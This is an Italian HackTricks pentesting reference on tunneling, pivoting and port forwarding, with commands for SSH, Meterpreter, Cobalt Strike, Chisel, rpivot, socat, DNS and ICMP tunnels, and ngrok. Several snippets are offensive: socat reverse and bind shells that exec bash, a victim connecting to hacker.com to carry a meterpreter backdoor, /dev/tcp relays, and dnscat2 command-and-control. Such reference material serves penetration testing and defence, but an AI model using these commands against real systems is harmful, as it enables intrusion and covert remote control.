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# Tunneling e Port Forwarding
{% hint style="success" %}
Impara e pratica AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
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< details >
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< summary > Supporta HackTricks< / summary >
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< / details >
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{% endhint %}
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## Suggerimento Nmap
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{% hint style="warning" %}
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**ICMP** e **SYN** scans non possono essere tunnelizzati attraverso proxy socks, quindi dobbiamo **disabilitare la scoperta ping** (`-Pn`) e specificare **scansioni TCP** (`-sT`) affinché questo funzioni.
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{% endhint %}
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## **Bash**
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**Host -> Jump -> InternalA -> InternalB**
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```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
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nc -lvnp 5985 0< backpipe | nc -lvnp 3333 1 > backpipe
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# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
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exec 3< >/dev/tcp/internalB/5985
exec 4< >/dev/tcp/Jump/3333
cat < & 3 >& 4 &
cat < & 4 >& 3 &
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# From the host, you can now access InternalB from the Jump server
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evil-winrm -u username -i Jump
```
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## **SSH**
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Connessione grafica SSH (X)
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```bash
ssh -Y -C < user > @< ip > #-Y is less secure but faster than -X
```
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### Local Port2Port
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Apri una nuova porta nel server SSH --> Altra porta
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```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
```bash
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
```
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### Port2Port
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Porta locale --> Host compromesso (SSH) --> Terza\_scatola:Port
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```bash
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ssh -i ssh_key < user > @< ip_compromised > -L < attacker_port > :< ip_victim > :< remote_port > [-p < ssh_port > ] [-N -f] #This way the terminal is still in your host
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#Example
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sudo ssh -L 631:< ip_victim > :631 -N -f -l < username > < ip_compromised >
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```
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### Port2hostnet (proxychains)
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Porta locale --> Host compromesso (SSH) --> Ovunque
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```bash
ssh -f -N -D < attacker_port > < username > @< ip_compromised > #All sent to local port will exit through the compromised server (use as proxy)
```
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### Reverse Port Forwarding
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Questo è utile per ottenere shell inverse da host interni attraverso una DMZ al tuo host:
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```bash
ssh -i dmz_key -R < dmz_internal_ip > :443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
# Note that port 443 must be open
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# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
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# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
```
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### VPN-Tunnel
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Hai bisogno di **root in entrambi i dispositivi** (poiché stai per creare nuove interfacce) e la configurazione di sshd deve consentire il login come root:\
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`PermitRootLogin yes` \
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`PermitTunnel yes`
```bash
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ssh root@server -w any:any #This will create Tun interfaces in both devices
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ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
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ifconfig tun0 up #Activate the client side network interface
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ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
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ifconfig tun0 up #Activate the server side network interface
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```
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Abilitare l'inoltro sul lato Server
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```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```
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Imposta un nuovo percorso sul lato client
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```
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route add -net 10.0.0.0/16 gw 1.1.1.1
```
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## SSHUTTLE
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Puoi **tunnelare** tutto il **traffico** verso una **sottorete** attraverso un host.\
Ad esempio, inoltrando tutto il traffico che va a 10.10.10.0/24
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```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
```
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Connettersi con una chiave privata
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```bash
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode
```
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## Meterpreter
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### Port2Port
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Porta locale --> Host compromesso (sessione attiva) --> Terza\_scatola:Port
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```bash
# Inside a meterpreter session
portfwd add -l < attacker_port > -p < Remote_port > -r < Remote_host >
```
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### SOCKS
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```bash
background# meterpreter session
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route add < IP_victim > < Netmask > < Session > # (ex: route add 10.10.10.14 255.255.255.0 8)
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use auxiliary/server/socks_proxy
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run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
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Un altro modo:
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```bash
background #meterpreter session
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use post/multi/manage/autoroute
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set SESSION < session_n >
set SUBNET < New_net_ip > #Ex: set SUBNET 10.1.13.0
set NETMASK < Netmask >
run
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use auxiliary/server/socks_proxy
set VERSION 4a
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run #Proxy port 1080 by default
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echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
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```
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## Cobalt Strike
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### SOCKS proxy
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Apri una porta nel teamserver in ascolto su tutte le interfacce che possono essere utilizzate per **instradare il traffico attraverso il beacon** .
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```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
```
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### rPort2Port
{% hint style="warning" %}
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In questo caso, la **porta è aperta nell'host beacon** , non nel Team Server e il traffico viene inviato al Team Server e da lì all'host:porta indicato.
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{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
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To note:
- Il reverse port forward di Beacon è progettato per **tunneling del traffico verso il Team Server, non per il relay tra macchine individuali** .
- Il traffico è **tunneled all'interno del traffico C2 di Beacon** , inclusi i link P2P.
- **I privilegi di amministratore non sono richiesti** per creare reverse port forwards su porte alte.
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### rPort2Port locale
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{% hint style="warning" %}
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In questo caso, la **porta è aperta nell'host beacon** , non nel Team Server e il **traffico è inviato al client Cobalt Strike** (non al Team Server) e da lì all'host:porta indicato.
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{% endhint %}
```
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
```
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## reGeorg
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[https://github.com/sensepost/reGeorg ](https://github.com/sensepost/reGeorg )
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Devi caricare un file web tunnel: ashx|aspx|js|jsp|php|php|jsp
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```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
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## Chisel
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Puoi scaricarlo dalla pagina delle release di [https://github.com/jpillora/chisel ](https://github.com/jpillora/chisel )\
Devi usare la **stessa versione per client e server**
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### socks
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```bash
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./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
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#And now you can use proxychains with port 1080 (default)
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./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
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```
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### Port forwarding
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```bash
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./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
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```
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## Rpivot
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[https://github.com/klsecservices/rpivot ](https://github.com/klsecservices/rpivot )
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Tunnel inverso. Il tunnel è avviato dalla vittima.\
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Viene creato un proxy socks4 su 127.0.0.1:1080
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```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
```
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999
```
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Pivotare attraverso **NTLM proxy**
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```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999 --ntlm-proxy-ip < proxy_ip > --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999 --ntlm-proxy-ip < proxy_ip > --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
```
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## **Socat**
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[https://github.com/andrew-d/static-binaries ](https://github.com/andrew-d/static-binaries )
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### Shell di binding
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```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
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attacker> socat FILE:`tty`,raw,echo=0 TCP4:< victim_ip > :1337
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```
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### Reverse shell
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```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:< attackers_ip > :1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
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### Port2Port
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```bash
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socat TCP4-LISTEN:< lport > ,fork TCP4:< redirect_ip > :< rport > &
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```
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### Port2Port attraverso socks
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```bash
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socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
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```
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### Meterpreter attraverso SSL Socat
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```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
```
```bash
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
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Puoi bypassare un **proxy non autenticato** eseguendo questa riga invece dell'ultima nella console della vittima:
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```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/ ](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/ )
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### Tunnel SSL Socat
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**/bin/sh console**
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Crea certificati su entrambi i lati: Client e Server
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```bash
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# Execute these commands on both sides
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FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
```
```bash
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```
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### Remote Port2Port
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Collegare la porta SSH locale (22) alla porta 443 dell'host attaccante
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```bash
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attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:< attacker > :443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
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attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
```
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## Plink.exe
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È come una versione console di PuTTY (le opzioni sono molto simili a quelle di un client ssh).
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Poiché questo binario verrà eseguito nella vittima ed è un client ssh, dobbiamo aprire il nostro servizio ssh e la porta in modo da poter avere una connessione inversa. Quindi, per inoltrare solo una porta accessibile localmente a una porta nella nostra macchina:
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```bash
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echo y | plink.exe -l < Our_valid_username > -pw < valid_password > [-p < port > ] -R < port_ in_our_host > :< next_ip > :< final_port > < your_ip >
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
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```
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## Windows netsh
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### Port2Port
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Devi essere un amministratore locale (per qualsiasi porta)
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```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
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netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
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# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```
## SocksOverRDP & Proxifier
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È necessario avere **accesso RDP sul sistema** .\
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Scarica:
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1. [SocksOverRDP x64 Binaries ](https://github.com/nccgroup/SocksOverRDP/releases ) - Questo strumento utilizza `Dynamic Virtual Channels` (`DVC`) dalla funzione Remote Desktop Service di Windows. DVC è responsabile per **il tunneling dei pacchetti sulla connessione RDP** .
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2. [Proxifier Portable Binary ](https://www.proxifier.com/download/#win-tab )
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Nel tuo computer client carica ** `SocksOverRDP-Plugin.dll` ** in questo modo:
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```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
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Ora possiamo **connetterci** alla **vittima** tramite **RDP** utilizzando ** `mstsc.exe` **, e dovremmo ricevere un **messaggio** che dice che il **plugin SocksOverRDP è abilitato** , e che **ascolterà** su **127.0.0.1:1080** .
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**Connetti** tramite **RDP** e carica ed esegui nella macchina della vittima il file binario `SocksOverRDP-Server.exe` :
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```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
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Ora, conferma nella tua macchina (attaccante) che la porta 1080 è in ascolto:
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```
netstat -antb | findstr 1080
```
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Ora puoi utilizzare [**Proxifier** ](https://www.proxifier.com/ ) **per proxy il traffico attraverso quella porta.**
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## Proxifica le app GUI di Windows
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Puoi far navigare le app GUI di Windows attraverso un proxy utilizzando [**Proxifier** ](https://www.proxifier.com/ ).\
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In **Profile -> Proxy Servers** aggiungi l'IP e la porta del server SOCKS.\
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In **Profile -> Proxification Rules** aggiungi il nome del programma da proxificare e le connessioni agli IP che desideri proxificare.
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## Bypass del proxy NTLM
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Lo strumento precedentemente menzionato: **Rpivot** \
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**OpenVPN** può anche bypassarlo, impostando queste opzioni nel file di configurazione:
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```bash
http-proxy < proxy_ip > 8080 < file_with_creds > ntlm
```
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### Cntlm
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[http://cntlm.sourceforge.net/ ](http://cntlm.sourceforge.net/ )
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Si autentica contro un proxy e associa una porta localmente che viene inoltrata al servizio esterno specificato. Poi, puoi utilizzare lo strumento di tua scelta attraverso questa porta.\
Ad esempio, inoltra la porta 443.
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```
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Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
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Tunnel 2222:< attackers_machine > :443
```
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Ora, se imposti ad esempio nel bersaglio il servizio **SSH** per ascoltare sulla porta 443. Puoi connetterti ad esso attraverso la porta 2222 dell'attaccante.\
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Potresti anche utilizzare un **meterpreter** che si connette a localhost:443 e l'attaccante sta ascoltando sulla porta 2222.
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## YARP
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Un reverse proxy creato da Microsoft. Puoi trovarlo qui: [https://github.com/microsoft/reverse-proxy ](https://github.com/microsoft/reverse-proxy )
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## DNS Tunneling
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### Iodine
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[https://code.kryo.se/iodine/ ](https://code.kryo.se/iodine/ )
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È necessario avere i privilegi di root in entrambi i sistemi per creare adattatori tun e tunnelare dati tra di essi utilizzando query DNS.
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```
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attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
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Il tunnel sarà molto lento. Puoi creare una connessione SSH compressa attraverso questo tunnel utilizzando:
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```
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ssh < user > @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
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### DNSCat2
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[**Scaricalo da qui** ](https://github.com/iagox86/dnscat2 )**.**
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Stabilisce un canale C\&C attraverso DNS. Non richiede privilegi di root.
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```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
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# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
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```
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#### **In PowerShell**
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Puoi usare [**dnscat2-powershell** ](https://github.com/lukebaggett/dnscat2-powershell ) per eseguire un client dnscat2 in powershell:
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```
Import-Module .\dnscat2.ps1
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Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
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```
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#### **Port forwarding con dnscat**
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```bash
session -i < sessions_id >
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
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#### Cambiare DNS di proxychains
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Proxychains intercetta la chiamata `gethostbyname` della libc e instrada la richiesta DNS tcp attraverso il proxy socks. Per **default** il server **DNS** che proxychains utilizza è **4.2.2.2** (hardcoded). Per cambiarlo, modifica il file: _/usr/lib/proxychains3/proxyresolv_ e cambia l'IP. Se sei in un **ambiente Windows** puoi impostare l'IP del **domain controller** .
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## Tunnel in Go
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[https://github.com/hotnops/gtunnel ](https://github.com/hotnops/gtunnel )
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## Tunneling ICMP
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### Hans
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[https://github.com/friedrich/hans ](https://github.com/friedrich/hans )\
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[https://github.com/albertzak/hanstunnel ](https://github.com/albertzak/hanstunnel )
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È necessario l'accesso root in entrambi i sistemi per creare adattatori tun e instradare i dati tra di essi utilizzando richieste di echo ICMP.
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```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c < server_ip > -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
```
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### ptunnel-ng
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[**Scaricalo da qui** ](https://github.com/utoni/ptunnel-ng.git ).
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```bash
# Generate it
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sudo ./autogen.sh
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# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p < server_ip > -l < listen_port > -r < dest_ip > -R < dest_port >
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1
```
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## ngrok
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**[ngrok](https://ngrok.com/) è uno strumento per esporre soluzioni a Internet con un'unica riga di comando.**
*Le URI di esposizione sono come:* **UID.ngrok.io**
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### Installazione
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- Crea un account: https://ngrok.com/signup
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- Download del client:
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```bash
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit
```
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### Usi di base
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**Documentazione:** [https://ngrok.com/docs/getting-started/ ](https://ngrok.com/docs/getting-started/ ).
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*È anche possibile aggiungere autenticazione e TLS, se necessario.*
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#### Tunneling TCP
```bash
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# Pointing to 0.0.0.0:4444
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./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
```
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#### Esporre file con HTTP
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```bash
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
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#### Sniffing HTTP calls
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*Utile per XSS, SSRF, SSTI ...*
Direttamente da stdout o nell'interfaccia HTTP [http://127.0.0.1:4040 ](http://127.0.0.1:4000 ).
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#### Tunneling internal HTTP service
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```bash
./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
```
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#### ngrok.yaml esempio di configurazione semplice
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Apre 3 tunnel:
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- 2 TCP
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- 1 HTTP con esposizione di file statici da /tmp/httpbin/
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```yaml
tunnels:
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mytcp:
addr: 4444
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proto: tcptunne
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anothertcp:
addr: 5555
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/
```
## Altri strumenti da controllare
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* [https://github.com/securesocketfunneling/ssf ](https://github.com/securesocketfunneling/ssf )
* [https://github.com/z3APA3A/3proxy ](https://github.com/z3APA3A/3proxy )
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{% hint style="success" %}
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< details >
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< / details >
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{% endhint %}